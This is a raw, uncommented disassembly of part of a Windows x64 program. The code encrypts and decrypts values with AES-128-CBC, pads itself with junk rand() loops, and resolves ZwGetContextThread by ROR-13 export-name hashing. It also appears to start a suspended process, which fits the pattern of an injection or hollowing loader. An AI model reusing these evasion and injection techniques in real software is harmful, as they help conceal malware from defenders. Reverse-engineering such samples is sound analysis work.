mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005585
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400055e3
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x588]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1ac0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400055b6
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005567
movsxd r13, dword [rbp - 0x58]
lea rdx, [rbp + 0x1ac0]
add rdx, r13
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400055df
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005567
add r13d, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005622
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400056e2
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005674
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400056d9
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x590]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1b00]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400056a5
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005656
movsxd rbx, dword [rbp - 0x58]
mov dword [rsp + 0x50], ebx
lea rdx, [rbp + 0x1b00]
add rdx, rbx
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400056d2
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005656
add ebx, dword [rbp - 0x58]
mov dword [rsp + 0x50], ebx
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140005775
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x68], rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x58]
add ecx, edi
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rbp - 0x58]
sub ecx, eax
mov dword [rsp + 0x58], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005712
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400057ab
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005854
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400057e1
lea rdx, str.Failed_to_initialize_decryption
jmp 0x14000582f
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x1a00]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000580b
lea rdx, str.Failed_to_decrypt_data
jmp 0x14000582f
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 8]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000584b
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000588a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005934
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400058c0
lea rdx, str.Failed_to_initialize_decryption
jmp 0x14000590f
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x1a40]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400058eb
lea rdx, str.Failed_to_decrypt_data
jmp 0x14000590f
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x28]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000592b
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000596a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005a1a
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400059a0
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400059f5
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1a80]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x598]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400059ce
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400059f5
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp + 0x598]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005a11
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005a50
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005b00
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140005a86
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005adb
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x1ac0]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x5a0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005ab4
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005adb
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp + 0x5a0]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005af7
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005b36
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005be3
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140005b6c
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005bbe
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1b00]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005b9a
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005bbe
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005bda
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
lea rdx, [0x1400092d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x28]
add rax, qword [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov rbx, qword [rbp - 0x20]
add rbx, qword [rsp + 0x60]
lea rdi, [rbp + 0x1f10]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0x1d00]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140005c20
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0x1d00]
lea rcx, [rbp + 0x1f10]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0x1f10], ax
mov rax, qword [rsp + 0x70]
movzx eax, word [rax]
mov word [rbp + rdi + 0x1f12], ax
movsxd r13, dword [0x1400150fc]
lea rax, [0x1400150c0]
add r13, rax
cmp dword [r13], 0x4550
je 0x140005dea
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140005cc4
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
xor edi, edi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], dil
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140005d24
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140005d82
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140005de0
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005dda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005dda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffffd
jmp 0x1400049dc
mov qword [rsp + 0x48], r12
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov esi, 1
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1f10]
xor ecx, ecx
call rbx
test eax, eax
jne 0x140005f99
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140005e75
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x508], r15
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140005ed3
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ecd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ecd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140005f31
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], r15
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140005f8f
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffffc
jmp 0x1400049dc
lea rcx, [0x14000e868]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r14, str.ZwGetContextThread
test rax, rax
je 0x140006033
mov rax, r14
mov edi, r15d
mov cl, 0x5a
nop dword [rax]
ror edi, 0xd
movsx ecx, cl
add edi, ecx
lea rax, [rax + 1]
movzx ecx, byte [rax]
test cl, cl
jne 0x140005fc0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
mov r8d, dword [rcx + rbx + 0x20]
add r8, rbx
mov r9d, r15d
mov r10d, dword [rcx + rbx + 0x18]
test r10d, r10d
je 0x140006033
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, r15d
movzx eax, byte [rdx]
test al, al
je 0x140006023
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140006010
cmp ecx, edi
je 0x140006033
inc r9d
add r8, 4
cmp r9d, r10d
jb 0x140006000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x1400060bc
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x58]
sub ecx, edi
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rbp - 0x58]
add ecx, eax
mov dword [rsp + 0x58], ecx
inc r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp r15d, edi
jl 0x140006057
xor eax, eax
mov r15d, eax
test rbx, rbx
je 0x140006167
mov edi, eax
mov al, 0x5a
nop
ror edi, 0xd
movsx eax, al
add edi, eax
lea r14, [r14 + 1]
movzx eax, byte [r14]
test al, al
jne 0x1400060d0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r14d, dword [rcx + 0x1c]
add r14, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140006167
nop word [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140006143
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140006130
cmp ecx, edi
je 0x140006158
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, r15
jb 0x140006120
jmp 0x140006167
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, rbx
sub rax, rbx
mov qword [rbp + 0x558], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400061a7
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000625d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1960]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, esi
je 0x1400061f8
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006254
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x558]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1b80]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, esi
je 0x140006228
lea rdx, str.Failed_to_encrypt_data
jmp 0x1400061da
movsxd r15, dword [rbp - 0x58]
lea rdx, [rbp + 0x1b80]
add rdx, r15
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, esi
je 0x140006250
lea rdx, str.Failed_to_finalize_encryption
jmp 0x1400061da
add r15d, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006293
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400090f0
mov rcx, rax
lea rdx, [0x1400092d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
